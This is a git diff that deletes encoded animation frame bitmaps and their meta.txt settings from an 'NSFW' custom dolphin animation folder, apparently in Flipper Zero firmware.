zR9*=XqQz5#0+h%ULx6x~dQce*22n^LjZ%S?kwIiqO(fEj2%=E1uq>tuRX~zJU=$i{ zRsbX#?$`BI+VZQ_STvInD1}I5RFC)pO(jv)M4*s}5IwK%@q$ulvmU&+ z1pprSN(Lfu(iiZ9+y4xNNVl>IKtys700O|MSc$X>0IwP@r~q`TtRev+jN&9vl=#sg SkO+)MLx74(Xqc%0P-y^CLVp+l diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_13.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_13.bm deleted file mode 100644 index 5e1fa0856dc9f69fe03e404283ffd980179d6de9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 937 zcmV;a16KS20Hp)|f8fvx1cUwnE&uu-_yUjn|3ua*&7=Q8jFXP+)`TzH_SOgQmO%RCl z!{fize82blOp^c)5CLD{ACIs9#s(ae0#oS+oc~d{*Xp?9k!=!Vd1^2Uf*X#aB?5rKAmEbF>;3>z!PS}O4>%w6 z>L3BAKyVQNc;ngw|A+bwr&NSUAQ*~7ydGQi`2_|Q0)b!y;~#Je?7#zug#$(i4;k@j zzz1WZg9Za4flu@R_Nc&Q5dr|jKh!{bO9iF?ALImhX+o+CL?AgB2lh^2AbG;1kPHnH z0SNtP`vCNx!r&AEaZo>(_>2f1dHfLc;1DHAYEDPrgA>Lf5y?OmLw|{VLFG@9j|2dE zFZ_Op-9345WDNm;WF(tfE=SZ4Ej%z@IS4>}a#W0zlZX#0ydon328|*GNRd)W(WjGV}hhbA{2%ZN@5U5Ajm|6D8lHe zP*8bAVhiCHj0+(`s6r$)1tCRGqAntU|8dhCzy{L@F#1g;)uN zM1erD6sZ6RVOU@EQh^A8Kwvou1WHMT5e$M+{e}w$AO{v8=`c|WCKi>2yg;}C0fa&z zBN3G7q5uN@Log8>19)T+9YEY@R4Oi(z$q9E5qp=EU#sYZZ)GJ*)eue41RsS+h& zz(F8NL4r~$5qJzE0YHUiU{YH|8VRJ3K)jOrKzw3S8U&*dxEclm2O!?y;1Ns>6A=oa z$Y~H*M5c{``$QsCDyBk3P?cd6<3hkkJr~>%s9-W$Bo_lHi9uo-uT|DR5QJc=n2AQB zsY0MZpil{?w+?0yaLBMAp_J80<5HsfWV8teCZ$A`RVuhj1}Z58m3?3lC>E<#TI$tm zwz~Wa0Z^*iu{aEe`~bK3Vz6-$DFZA)?+VmvHC0F?DkKkY`D9Te1)#44KNt)~QY8?O zK>_Xef?gQcv5rDv<96;&FFI|nbD-H-5{!;03`zdU;n1% zlmf;G$jLBSh_)#=U0|Jm_wG~QFq|qub)1$z_V$T>5{A7@v7bqTDb#TN}!a*4p2BB2w z1InicK8yk(2#H}Tn5Y(%9$k1LtcC*ssX`#29f2_l3q*+FVNeJhK!7xgJyNNqf@C2SN`iP|P)rPi zqY%MBq7^7EiXa~v1{hEqQ_K2^1~zFdz5< zp;Ah&rinzLL;>$Ke+-rr0f^B7?-Zo!dQPDi%%DCpnFR`gAP2@LRbDcT3JH>e1_S_h qnFRtT0%45?iBhV75~T=~L##6U1ufEdakSO^p%5U>zaZe^_i diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_3.bm deleted file mode 100644 index 2d0cfa6d60bf2d9d659b0b96618176a3fb6550c0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 926 zcmV;P17Z9D0Gb2;f8p>71po>^`~QPw0{j7l5-@y@qpSxX{HwM8g6cI|ukZe^0D*b| z!@tk{tMFgP`v3g@{o+`d2gD#dU+&HkSk?N!A(5g$A|4O@zyJNJ!9O3``3P(983q%C zKrg@iJ~e-+q-XUgOap=c?}SQTKO1;FYw}nGh(2HepO43N$N{0alf2b2eah=M>USTK0c>XiX`Pv8($z~rJBe|qF#AK!pH zVf7|@L&4+!fHBMekCjLyP=I+J3J$ao0MOu|(SU=-J_|4b)L<|u1_DVEkNW}bAizK% zk^uP6_8{fI!~>&1AC>=L4_W+B7*H$(ga2R$tbP4-9+>!50z{q=n5#rS zxN_)#1g2l>|MVV|dI2G% z9x!l^$5A4pbXmnpf=EsTza11y2@=%<%LEM?B7l%1NtEd*0P@2t$T}nP!cZbPQ~=-L zR1;{(h64n|R3%g?2jm_=0VtG0K@x)Ga+t5T{(l994#WUB90rq6SQvr8XRs&W;2@D1 z2arrP45cd*NSQ!rfpMS&Mlq3AQ9`5Q6xfPM~p&IB7pE0V*!M1A{2_Oh9eT9&|xqXaEyk9FKHDJOfd*n zf(1ar#2}vtT#BhxdkiXrP>R4pV}PK4urP+W(H27#g5U(>G?HOI=3$g-q7oP-2SF5o z&@~Vbg#H1Mp+G2DNdyuS9~g%V3;M^>AQ??mQd5ekWFbY-sBZsKI0Q)kG7JQQ3q{C4 zsDg3&L1I)4Myi!ng-R781w@TT`;eeOqE118RA@9@3>FEIf^MKtg<#aEl~^RI5tKoW z5~UrGV5AV43?@ZU$keeX@sLtv(342isX(#9EQTo!%3`#N5rj}RKmy%nwz(sK$Pr^A z!9hRZ1)sra87))jWDx*+U*SuksL3!;iV%I{SPfA4U;q&h#3lh>iDV#8~A#s%hGX%h7pcDv11R)N9 AZvX%Q diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_4.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_4.bm deleted file mode 100644 index ae34e09317f98a7d219dd0b60139d87d18f702f0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 939 zcmV;c162G00H*{0|KPp}1OxmA8UJTz0{j7l5;1*^CaMP?|Et;Lg=#fgpm@RTkY88y z9y|a3E&+J^|G^`BfXJX95ODqHSIBQ-yHy8`eu70F2z-B{0flZqfASFT=$MG7ga7Xc zj6NaQ*LuGtfrvmT0rCJ09DYB#_~di+XcPm04>&9Xv9J9D#$Pj}M7kj2fWTlIkJh)s z2pa4PfFCLORB0Lr6-$N*9Q=Y3A1HkSp#Xve$A*F#{Zgb~AN&rsKNtaMaAK4Ce1M~& zia;=s3;Uztl7|HVgb+vn>Hh=LCYvAu zNWb;4`odFW0T3wv`{4DGA4J$P68QhG^Iu3fukcC?10p{V2%m<(5=R^eo-hCifCW@E z`cn9(@G#*31|>qEfAV<+@kivS@rXhw1M!tqAe2{WXW69!fR}~=M8edvA3=FTBnYt| zltLvb!a}+s@_i8e;FO9bMxoRPjeMFQp@Iko1A@dsFuEXk)8ZI{ScilJHA$#3=;0s~goy1b zn3+Z@QH{UJU=bH_Kr|5f6oQ2$!E7)N;U|m`Vmhb>BNd3jN+DHHSi+((93)a}A&EpJ zQj8RW5Ly=TNH`GqMv|3@4~;8IFB+n_s@5(l`zr3iuGSO2hBMI!}7g5fd{ttALvGEA5HK|z2;B2tM=ilGtG3&)`( zuE9%UO&SdY2?C-A$0dTKUWVgNPEk^`H84i&~HCawdkpPKS zwY6>StE;Y}z{7$=7#2nW{{SsM3y{)6q>7RUwto!g9Fcfn5TJW+;ZzDNE)jsJ3*LUp z9EApjB7sx^?H`8FbWszK;2=Xm03?DH2;@OBR7j)(5mf*rRuw|Xy9OZus%WAEL4-h{ N6adKSA`(arh5*-|dmsP+ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_5.bm deleted file mode 100644 index 23a1ee5f09d59b7ad31d81016fb74cf27975e9a9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 929 zcmV;S177?A0G$K>|KJh{02F`&yV^j%0CSVTs9jJf*7m#J)GD!6s)9!ckcw)*A#(5O z;2n?m`~oxhB?f`u|Lgy``AjQutJMX^Rz4U91aNQ&N1!@C!1&T&6p;9U2LBL%2h02a zufU>^4+uP`=7ArN^pZLGCI%26Kl~mM_^Q?ZKlyylL7)em6plKL_w*h=`|KtK=ob}2 z6jvP&TgC|({)&)4D1NemgjbdX9#9RJzzR5cC@^6KA;Fpo0ni^6P9q7BU@;Jg7(CeL zs1FPTUQ&N}C}Mx2aYccJ5djPxl3+5=!lDo%@W`N0^?-m9pM}CuAQ%F8$NPZxFBJj^ z0~!9{9lmVks2c;E&D zfPzRQ5iG1y5tT>?d|?=c`9PpliWLJ(Ao2h6!@;1yNuoO(kaS`ct#n@!8xr`?BoG`W z5~U)gL~0TYlmbaX#T$kpafx9N!$gARasl#!;wThM{UW0z)kHNC3M>O9pr%M69ts8u z34wr7U^uNoY@_fh6#gqzs6{GK0SLMVAtpi-*^k-&8%e)&BEQ4qvX zqLEw%2>vlCFSGvvg$%|*RvH9XAdDIY6ZL2qG|Im0ux5U|1*-aB&p~ zR!Ri~py54Pc>z>u8b=7gs5uA}LJ=wKz}>?_lEh(H3Pd9d0-#8$Ua2F9Vvq_Jf>jcz zhsGpN8&(9AIxSXG6xSFgBr-UfwCH9y2t^V>P|DJ(I!F}~A*6*a#z~@yWnfY$CJP}3 zfY7k2aflDbkp!w@brnoh2&Owoq$ddkq{(V9nH2^hp&yM#s{z13DjKa-Ti2?uRpqc) zloB*u8bk~J09pPPfl=1Dh5-NvyfzVpgByn>BnP$r6+(zbU@{Q=1I7WRqDe3kN=QB_ zFbEs~C@>6^AO;`;paO?e63Ea5Lr7o<0Oe6wltKjrh(usAC`b%okP!gNXcSou1t>89 DsXu6J diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_6.bm deleted file mode 100644 index f38acbb92537ba8784d9eebca97d88591ef42a03..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 935 zcmV;Y16ce40HXu{|KJk{fE0iOy{$oi0CS_&G@hU+*8a5r91BsZ)dEH*Akk?*A#(5K zVHc0R|NZ}y;9(RG2miPJr^+B*itkh|JGvwT5x@_X{s9Qwe*fX|pTwXL5cq%we-MOP zD)nFQ{=XrSXgvV(kDCYZ9TG^#@X&}Sh|q9&1!GsL2adjHfWQmVQAqTEum2K3NTC4o zztAagC;T#nwq7Nwk*nTh=1yhDdJ*TV+ICxY7fe@fTFk^y%506IyqA|u30MUYq zf!G2RpjtuUfnjBafJ7qzzvzMM7=T3y z9sw|DF$jzz>j}|)1LSKMBn3Jn5z%5QP@hOVbMPf#&_%@vib-&l4-h=djD~fp{ z1dfWKkiiSZ6g`X%BSDACK&nuT6$+?G8Wakn3z1*qG%A63T7v~SB zOhXA0(P$u0NQ6_XZ@@w{2yvlAaR?!T;3$N5h}{m zF#`e8#Gteo1y>UQf?!-@3W$sZm@rs{D%l0ZP$C*kr9zddglMTyEF^<-Ady5Mm0GP_ z1U*{SRto{iN3bvm6$kzRTl^|PAe6!}5(t1kFqo`Vf!Z)Yd`M&v*c5{WKnJ`M0ZEcl z3S$TdxBfYjh+$w57qEeb0EG|`z#=dT6Ude0NTnNwq5>MMQj>^@NN7?FB#4eAQN#z% JBSXL=hD3&+ZJ_`F diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_7.bm deleted file mode 100644 index dcee3d025102f3161af7ed60ae4b0fca7341e97b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 931 zcmV;U16=$80G|W@|KM;4Mg#l?AAi271^fYr|38pisy$FJ_kY*_3<|MTs)9!a@Th)6 zG}}p!U7`*gZshjM_P!up%e)? ztbhlnzz+#RFbI19KnW8Lj6onRA&>R}>nRQn1|YZ?1pi zS5T5E{0|`@9t#Le1EhpOazXTjLts(}3`+$FkyIoj^N>KX0?{aqQ$<9=)eeFm7$$-! z?GgyUp)#750O%m`pg^Mo(SXS{1@VMcc&R}p4I*MQ5&*!WQmTw1RTn3e21Njb!a5a7 z4o3;1>QX0=8YV($JscF$MHHe$ppY3Xgg!7&tqHy~tVW6vpp;c25hx5oLtKF3brE?K zBSQ+H$Y`)g9TO4Ii%>uE9HfdBAc{pX83b6!F}+8y;HX%M1}6bPh{<4aC@iC@rWiyb zLxhk@p+=#9jzX2F|H0%HEL1}kfY4zokXaz;ZC~^thet&qi9(_f6L{evT3P&(NfJJe z3W1=JRUlF*hLceb3l4)3P>N+DPN9O}D3n^N5MmIiEEam4M328 z`~UvFl?m*7fdz${LaG9R5ey!o0Nif%U+?@1p#j2t1*8AaVxiuE`G4ek90UL!Kl%Qn zRRRyB-U$fE1Iiy&fKW6YZ~yRsG71$F=nonk76lN52*>;XuhCGVA1xdTK?DR3Q}I8S z>9G<(d0He82nu|^Km7cTLs0nx#wZRf5oCTKk(|{xrQ(G`A{Yq-B0=E=4g6{#^MODH zBLISM!RE&){uTiOgq%hI4=?--=s)~?z!olnh`=CjBLEdXLL4B8LBZ`uphRL23Jd~; zCt(->r1%IDd_%(khmObqaWZh11mYm^+ymBA0KywcCNuL{01VbKOaOFX6p8-C9;T5` ziacZxFaHDl4@hJJAq0d_3FH6p2h*!(`UlSe2!O(31rY^}ev#=HqzVTBfSm?~|B=alPvU~e zBn2S}j0;f!%3?f$@_^tm5U2(rLNF?=CPk?alW<^ANf6Lv6-gwDi9`pG=wum@c)UhM ziNZv(D_BvC0eOO zS6)vl6_kE54y6k#kcdKVks0&^G%|_~M+yIwP@z;^6bh9wH4LM6^Be4^1qhHtB07l# zk_!;P^(23QYibQ2v zh(r|@F)K_q2?*3=Dij(f0n||pOp~RP$UrDkC8)$CvI;@GWE5VgC}dGgElQz9h+$5{ z2*qV0lnMkQMJRwKhKgS-6JTnwD3t<{ft6H4;(izmg9$__i~=JPl~5p0N6)v2LJ#7 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_9.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/frame_9.bm deleted file mode 100644 index edccb27c32314fad77b41b1e6a22aead9e7ceedc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 940 zcmV;d15^9~0H_1{fBo=yN5k*`|Ni&&s4w6QKi~ZyBT)Wm~dSR?`i)c^lK^?D{EfOQ}JMgsw$ABR+08~g?YFE9S401g<1 z0-zrn{i;DF2aWzz4j3i^5di$(>-cCCKuR1}h&+4u zSO=gUM&W@#pb{7dgcLXU0T6%r_@xQ~fTRcqhAS#qJgMQKzyn4RL|(puvzxWEk<;01hS`EFk=05b%2&hKU4#h(-k;eGmZR zA+Z+-2w)Tc&^=)=2*P-93^Bj>0qPwgaKNCF5C4F`tf90(C_)i|fB7Nz!9)?_FCX=s z9eg4lDWeaTpWuK;8F?{P@X3-f>3aj zjG~A|;*c7G$VLNFib`@c1E9~~*a}9JIx#IKBSA!gWq2X+WQcrVkcR-sqOmHZB3c3MY;O0aSpSjE0K_8;ld{`rhR#ng~Q9B_hR2Acw)K>b3Xy41x=yp-?E1 z3KRRj!Gi}puquxn;Mk|5+4{wBH0R% zL?jPUs8FFYsU-pnfstqM5Qrou5edS@G?@&AC_XfbtbnXI4K9*VqJcqG;Jf&dS1{3%i}xDgO)K=*=Vu~aC8LV_QN z!~;PB!Z5}p4|tA7iIIRrppXoZkYE4_Sp O1Ax;&Dv$^wyl^1!`F$t= diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/meta.txt deleted file mode 100644 index f169de719..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_7/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 14 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 \ No newline at end of file diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_0.bm deleted file mode 100644 index 2eb822da2b1c49db776a03b3d86eb5133a98707a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmXAne@t6N9KgTV_u6|MrLRSdRSPYHYzQnuNDOruJQz{4Wo8Ky%oYbq9K^AJzZk{J z4qgT%ZY`N6lBHWfGuc+n_Qy6rC!9i}W@ZvMH$-Hw5GN6#FPQ|euRV`=_tz(%?|pyV z9T*5&^gl7ISo8*{lO_y6ZH?~=aM-fH0ko9vb;xQPxh+5|)|w&8LIHxB7QYnWn0cT9 z=2ty_3W2sGh#V2<3Va(K_tinu>{u3w2y_`9L?7;a4Fc~}Tj?+&OK5U%p{&qR8rX$2 z&NDC>oyaVL)~f}NPTd9)FaL2t4f~)Y5Jq|&;8(=C-vx&b<(Z99fOz@$3o3CzN0a-6 z;Ro2*J^iUlZSYK9Ft54845PcJ7u3lDsiVLaS}Isg(KmU~2DOLp|5W@Dg80OAgR0r2 z(sWzwjROE9n_ja^Pj3@hP6~itKRu*sV(*yvd0CpZ9gWoM^J~yxMQEdCnjiz~lbiw?3cUXK|g~elG*y8^Q4T&kL?@*DY>0m;Si_Rl#L(&!PWW z%kY09xPs3n1pq|^&}83&Ac-Y2+&g%P7Az@ej*~~joJH>@`+i_9bGzH50GNIjuJnAp zhdEBLbf`rHpp>dNZl0d9UUz8#S;~chE;Zxe(ZXKlgFRatCDRt#d86u}ySKGiaiBW5 zus=$}A79Gu8h^VlPxLAk=D*0<5AF`&rDFq?POB;RfKJav{91QMtnw+5D5ooSalTvk zSnMlj1p-ITMK?Y7#np9uoDHVuIHBCMkJ|HJpT%nlVGu}V?nMg?)$B{+_b)#p^67}9 zh=%g3*YL`FJ-Jz1!CGOaa!obE$uZdkQ0WyFD(C+a$I0d=2mwU;8u@wd=Mp6jQGzrm zr1J2kC2Yh1ynKtLRKE8T!$tyldZ`jJDXxhusejKQ!V4mjLFLQU-w7KGfdVE+)|0$m zWJ29YB7VDy*z2Y^QcY8Tdqn_ipGi?{RE|XGsfTe4U|=V3uDV82udQJPlKc(r6n_{Y zr(!YeNSnnX$ea0yefeMRu6G0C{8<$VCYC(_GiEQrRNfXr!BwLSoWp`dd#L=}b}5)x zJPxqZ2^uCmzAKoRW&k_+_u%~EP+e%0H!SVoEj-UT|ES*4{wKxWZ&* W3jpK(WTZW`p|dgoG|9LR@BI(JFpT;D diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_1.bm deleted file mode 100644 index 3b5d6da7a91ff2c99dd70a018dfd527362c85d39..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmXAoe@v8h9LL|^=Q-{k=;C=sgfxCUH(_byQgoxyl|0BmQmmHB*(!IHTh2@vu;mtV z--ib{&`X@mtCq>8OdYq%mc%5JhYrGNi`y!Gi`Q6d%g~DiiF>%G@73qO*Iw_>XP}51>%U|0js9od(!shbgg(hD za~M1qEv&}o=~3w45PDA;9GHD99}RWiLO(_5gnB&~%*aQ<)z4BRW1vyST4y>M`uvF8 z1g6ySpmsbRduPrhO}+zM362kIKV}L~uRGdk908(QXjr>$hvz`@j=S~1ms)5@)9u(> z=}&raFaiGrnGYx9z1$Y>``J5D6X$(Ng8caBBd_>r+F!xQR&AeE*qqzG@WeyFMBGdVd@UEc;7AI(O}v}#*ZnuW>=XYD)jR%E2( zFz3tuxqpL0oi&fW8M&eDxA~G|W{HC?nVq%sH?=*SFKflLQRP~oebc2E&Xs%Z;u%Q> z^Aj($WXv#@Scfjw`g4S`DnFqFju0OfYdUVHHy_F5JZJ*yC0p$=Q)rq>bpsCJ zBvpCmC#FFS>0Jsz=`gCr;_ z6k1r(IWv?_V;D LK-pinG5+vhR=$V~ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_2.bm deleted file mode 100644 index 6a797e4d960dc0065ddb32c2ea67d9033d854acf..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW-fUrbwd9L3M?-i!A_Sbuk9LMO<*V~t`KVH?K8l*wh1u_*~^q|GuPNVW$=5^zIU zW}&~!?OIS=yJ^aUEShO>>CCnmH)A4D)6J?I{~o|FP#Q-T9|m-BQiRg$-Ok(Rd%ox4 zBnKW1p0)o7I>p2ai{4c%e!FFsu!<~gg58LXR;utkoCkCA(Ipm*ZB*_>*^f(z{y^9S z`=$1ueS4(t_CF9EAZ%9uH6Gi(9WRbtLvk8yPM?h%=k4%*cUed-0CUFFX(MQtTqF6? zsds@{eJajR@Nl?eOpWo4PYB-p zGyYWBRy=s*x7kqcFye>9U*p@r)P&K-3(owN)bp>QFd0jX8SPoVGDl$5w*@%+^MiV$ zO%#-Tz3NM6$?Fz#@W=Z@kG#Q;(b&*ZCAl( zLU$K$87-pU_R!oR>q(OyO-y{*WcapZOfiIXN;$e%|Iux(-yfk6?Dt6lyu%3ukH8euJC|naiZ{;pYPpYutXlYK(z4q0N?L_dck73 z#A4bJ-YFeW&Jb9aNfM>U!@LxGKNq7AAiUftb_|S4es56{Tw{+G<;9AyDb>ss2{o)y z-j>byy#uBcFiY{=jwXEJ2$72NhRK_AFR6Kg%5o0fgmc&Q?hnlq2m8Qfzn=FF=PW-` z)IaBzOL8=v`|1Lm13x>R3g;uIErM&qf86Fln87lNwp|~SyvhuyC36S!(S^kyCpQO7>kskLC zv7kF*@|n@62qdW0e=&OHEwg&0vy{n1%aKo797*x%ZcP;+gYz)zZZKa-TT`>7;uNE; z4V%XOjFrAhdL##kS{_6+h>7?m}0|`?^apl1O3bTZ+ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_3.bm deleted file mode 100644 index 20b8ce106d56bd7e82049b16992fe2803a0df076..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWlXVN6q37>3_-&w<_m<96s6#?pInxapP@vL%HDM+%TQm^`qj3o;;E(acs1)j~`{5LwbAtgTl8uQGvzWDm%H84TllPqOJLk!Z zRt>GO|G=AQ;5MHOIre13R&^0Pj|P4gye>HZ-zWm-311*T`5s!f$<0?TAp8U2bDn8m za3Br&mrr4+f?$^P`Sk82G?$JKKeme|A>W%SC&GZF7 zO5K8g^wWdBMiX<`gMaQmQBHe17LVy)#WCg8W0A~6SjK#RpVX^NOg*a~>3;#duVc~w zT2);8_Eg=?*&Qh@B<3BWOxbZyy(wKoZ>ai&-b!y+nP+>o6hCGTg$KX?g1)Cbo5R;hOy^eYn!%$?*PdjRt{YPCQKLr(VSoSn6^_(fyd%9nK z@DeadpS`){r`Ll?tBHUUK=`et9@97N-A{;sP0oAVQREG#8xmj^%+;k4nlxpusNX`M1#bsQk%LePr0qwi)vo}257V0kZ(NS$}LZx^4?+CvmS-JBI_T%sDXR; zGN_}&V`O5UdI8Oe(=2avW|>4LOkm=N!zEC&_QlA=tdhY&7>1yJd4E2`aHKUiafbonYNL5!M-;K~ONrN{z- zTu+HJS5hmpCJV<~D5PJhY)*rEuFhGsu|YYmqAwt-2BJ^Ezt?CKppsCGk1X1 z%Lw}=>+u0ksBPH*;wAD_f%SN0Aapop5Dup~Ci1kCcQZ7ECcRjn7|~AITJ}bX>D;+GiPE3AIvO#SSHS8&Xlk@ z>w4vY6Bjth7R?frZXtdER&>d93WM9K)^BHvSbG^Miu&1dqmp45JqvY=6+-yA6 z9hvPrU%7?d)$jJRnL%9qdG>SlG-ZYIaJ|fq=5!Nh;xg5=S!4!>(~uW#+Uiyr(&JT zKKhw;c&h-sC-}U}om`E(eS%Bn0|aZ{`OY1zVtteeNC0B?`7T=HvaS*nSU|VW4`s8i z?VBd@=99(w5VeG>C({1u7r;X?*_-zY*2TgMye{ zvm)k<$?t9|hvVQ~=KgMzJ%e#~ay;FiGYiK}KVT@!DYLxPf!FZ z(|*pqah8Hfsx_!e&);nOc7y^+0aCs!*465f)FzeT5qQ2p7D9EpIvVGAe#z=W0V5u$ z)!WxM1Tb|RP-O0#*45M_!HFBx29b#6wX&K_iEus)un-^~xFSc^mmJ{VHospp`E{ti zbw8L>K+yDu>zK%cWj{foMAl5-+pB9&5(YtD`XnOuR$PrFhYSuD9w{^5``dLbnJ`3& ZX^{;Lj^4ttiR7f=hm4pZkfN&L{{VuMekcF{ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/frame_5.bm deleted file mode 100644 index efd542a997718a260d9e35b7621e32474918cc1c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW-eZ%kWN7{;H|dueYAp;w}DB$QjmmLXw4T%tr6y%Y>Yr;-U_G+5oN?y zIPEPfxY*=&V&cRQCB!+nLlR76lmVk`{c}C_!%5CBzxT~~ z&+{Tq(XsW2V9BUOsH)pMDm<625*#tgx2YO+cx3U|#$C{poI3ASCma zyfm<0QHu82Wyo)H^scwJcHLHr%J(kt+E;|el%Ko9wrsSI7vf5kU_|MkQqFBd%i~50w7X+^ZRA`7UUdBGI;klFL%#*fHh?-q_{Fs za!fHSEdyhLi&LD-!nYLG{@7MTFnj9afZ{Up?&9jn*Pk<^FXi7fqGU&Sy>9FkfWlnr6McS)PdFW~&SaUFKLrH2-@PgCBg>n0!>(T`}aDY9ae^aSIx zS;@nTUj!`NnP7-mfs?k!?=E)d^VOMCyOJ+Zn6cWn__0Y=ED;W{1JL#?p5cs6TY@kU z0JVJKGRG^qIzyfvDy?0v<(<#3usc`{l{Sk8{1cTQK_hlqwW_wYBAxfSbBII*A#2N? z*;cIc6P+2FEVv+(G*esC$S>V@w&5w_qE8kQQ(N=#vKl>GF0kZnzx2`%oV)pt41Z*g z_@XSsIW)wT7avOZx$_5mECMYs-$HrwOph|(x}%ZJ=iGmkmXCg*D$zL+I}P3*{}6SI zPM=V2=rxUyAwHAsb&L*QJ00C5FpHwIrjSa_N0+&q*Q@ta_{BUwl}0~Faxs>ko&884 zj2k0d*SC_{;75(Kp4B(TxX6c<6!tz=!Tj$!*EwGYk?=j@5aWgzcO&+HyB%_>U*}fl z2#bsIzPG6K&Pbv?>j()@r^F@90$>? zjKA~+6MyNT?Z9dXQqws#c>f=rgH=Y{3h8XoLNI=f1(*it%;&t(5qkJQXAkmfGUZ?C R3?+WkyXug4CFLtF{0Fp@g%|(; diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/meta.txt deleted file mode 100644 index cf387b42f..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_8/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 6 -Active frames: 0 -Frames order: 0 1 2 3 4 5 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_0.bm deleted file mode 100644 index e6292c4fd1d41e256bcb7f3f7007d3134b46be00..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 631 zcmV--0*L(q0CNKW|KRX1gzf>r1Be0P@Ezp;;Rgs0ydKy%4mc=KkN!L!@D6wsr~K&n zJ*aRGKp5eZ|FAu5elO@4;6LvmJ!igfGI9SHkb2MK|G+Wx{%|mQ{`h_XI(g{-;4$CF zqA*^6Jg%4VY0v+A|Nei!(+8lG_y5p%fJY9qjeqifbSQW+U?3sK|0APfpOh2++$cZt zIrtqg6hZO-2gDBf4EPe>eh)}MKA-^cohykbCqn2q1z03^5=gq5eQ4gTV)~a7jb{fKCO2{2UDc9xz~f`~!k> zFnJ5bK0x)Hz!;+g@GH&$1t55Y#(jVX%FIY*@qzvd#PT3`xdg^PkIWDJh9G$0Kj0BO z7lZMG5|BL#;vX3hfL-FoBN2c90`q`k0Hz!ec?-#aVEBWV%pPblQ3=SnV*v->{*Ukn z*a&0%4hUF?q(2rBejo_}&NfIM-~s$c=ZOJ=1J42B2cLp|&>npJZXodkh&glWi;%{6d;J1%4;DD5%?4%x R85RTLUN`B3#y{`}m;Akq7vul{ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_9/frame_1.bm deleted file mode 100644 index 41663eb519fc877c06b17524948d460ed8312d50..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 629 zcmV-*0*d_s0C58U|M2iHzz{$Kf53de#sC<81RkIG51byjI0u*xmOgMjaPSUz5PRSu z^XI|qa)9sw>Hm*|*5ShkkchwY|F}ITo^UyN|H2W!`+?~{0v(_IodORq9~=9h^E>_j z;z8-X0hWI6{N4k`2A5CZ5WD{$<}e;KfAB!>R}X+ZX`g_3VZ%p%zrZ{TF@SC`0P)BE zN$3wq!(_AV6bGCf9w|cKv``*!I0Qh5AO?@XG!C(VKr9==>I36}z6Y@^LFoYb1L%Gr z0q`G807bFD1JVEw@p#Y1Mhg?rgv5eFqWmPp9*{Ude1${_7wCh<9$*0)h!~l}{uGEj zeqi$8U{1t9AK(y1qT>^&@G>9pp#BVkXf_zngrY1Ed@RTD0JuN|q6Qzx(1qd;9|VSQ z4^Np;f#qPpctTjwml{&+tydjBx)F#rr4A3Xn#93CUFLWn$8M?7#0%z|L?35Yz_BMAHg 